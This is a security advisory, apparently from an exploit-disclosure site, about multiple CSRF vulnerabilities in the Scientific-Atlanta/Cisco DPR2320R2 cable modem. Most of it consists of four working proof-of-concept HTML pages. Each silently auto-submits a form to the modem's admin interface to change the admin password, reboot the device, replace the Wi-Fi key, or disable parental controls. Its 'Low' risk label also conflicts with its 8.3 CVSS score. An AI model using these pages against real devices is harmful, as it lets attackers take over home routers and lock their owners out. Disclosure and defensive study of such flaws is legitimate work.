DPR2320R2 [Scientific-Atlanta, Inc. Cisco ] - Multiple CSRF Vulnerability

2013-12-02 / 2013-12-18
Credit: sajith
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 8.3/10
Impact Subscore: 8.5/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Complete

(1) Attacker can change the modem authentication password using CSRF vulnerability .check the below POC <html lang="en"> <head> <title>POC by sajith shetty</title> </head> <body> <form action="http://192.168.0.1/goform/RgSecurity" id="formid" method="post"> <input type="hidden" name="Password" value="123456" /> <input type="hidden" name="PasswordReEnter" value="123456" /> </form> <script> document.getElementById('formid').submit(); </script> </body> </html> (2)Attacker can reboot modem using CSRF vulnerability(check below POC) <html lang="en"> <head> <title>POC by sajith shetty</title> </head> <body> <form action="http://192.168.0.1/goform/restart" id="formid" method="post"> <input type="hidden" name="Restart" value="" /> </form> <script> document.getElementById('formid').submit(); </script> </body> </html> (3)wireless settings can be exploited using CSRF vulnerability.below POC shows how password is changed for n/w authentication WPA-PSK with WPA-encryption set to TKIP(these setting can also be changed) <html lang="en"> <head> <title>POC by sajith shetty</title> </head> <body> <form action="https://192.168.0.1/goform/wlanSecurity" id="formid" method="post"> <input type="hidden" name="NetworkAuthentication" value="3" /> <input type="hidden" name="WpaEncryption" value="1" /> <input type="hidden" name="WpaPreSharedKey" value="12345678" /> <input type="hidden" name="WpaRekeyInterval" value="0" /> <input type="hidden" name="GenerateWepKeys" value="0" /> <input type="hidden" name="WepKeysGenerated" value="0" /> <input type="hidden" name="commitwlanSecurity" value="1" /> </form> <script> document.getElementById('formid').submit(); </script> </body> </html> (4)Parental control set up can be disabled or password set for parental set up can be changed by CSRF vulnerability[POC shown below] <html lang="en"> <head> <title>POC by sajith shetty</title> </head> <body> <form action="http://192.168.0.1/goform/RgParentalBasic" id="formid" method="post"> <input type="hidden" name="NewContentRule" value="" /> <input type="hidden" name="AddContentRule" value="0" /> <input type="hidden" name="ContentRules" value="0" /> <input type="hidden" name="RemoveContentRule" value="0" /> <input type="hidden" name="NewKeyword" value="" /> <input type="hidden" name="KeywordAction" value="0" /> <input type="hidden" name="NewDomain" value="" /> <input type="hidden" name="DomainAction" value="0" /> <input type="hidden" name="NewAllowedDomain" value="" /> <input type="hidden" name="AllowedDomainAction" value="0" /> <input type="hidden" name="ParentalPassword" value="1234" /> <input type="hidden" name="ParentalPasswordReEnter" value="1234" /> <input type="hidden" name="AccessDuration" value="30" /> </form> <script> document.getElementById('formid').submit(); </script> </body> </html>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top